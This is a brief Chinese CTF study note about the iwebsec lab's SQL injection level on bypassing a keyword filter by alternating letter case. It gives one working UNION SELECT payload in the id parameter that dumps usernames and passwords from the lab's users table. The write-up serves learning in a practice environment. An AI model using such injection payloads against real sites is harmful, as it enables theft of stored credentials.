CTF学习笔记10：iwebsec-SQL注入漏洞-08-大小写过滤绕过

小安子啊 2022-01-23 阅读 67

一、解题过程

将SQL关键都换成大小写交替，最后经查看源码，本题只过滤了select

?id=-1 Union Select 1,2,Group_concat(concat(username,0x7e,password)) From iwebsec.users

在这里插入图片描述

0 条评论

关注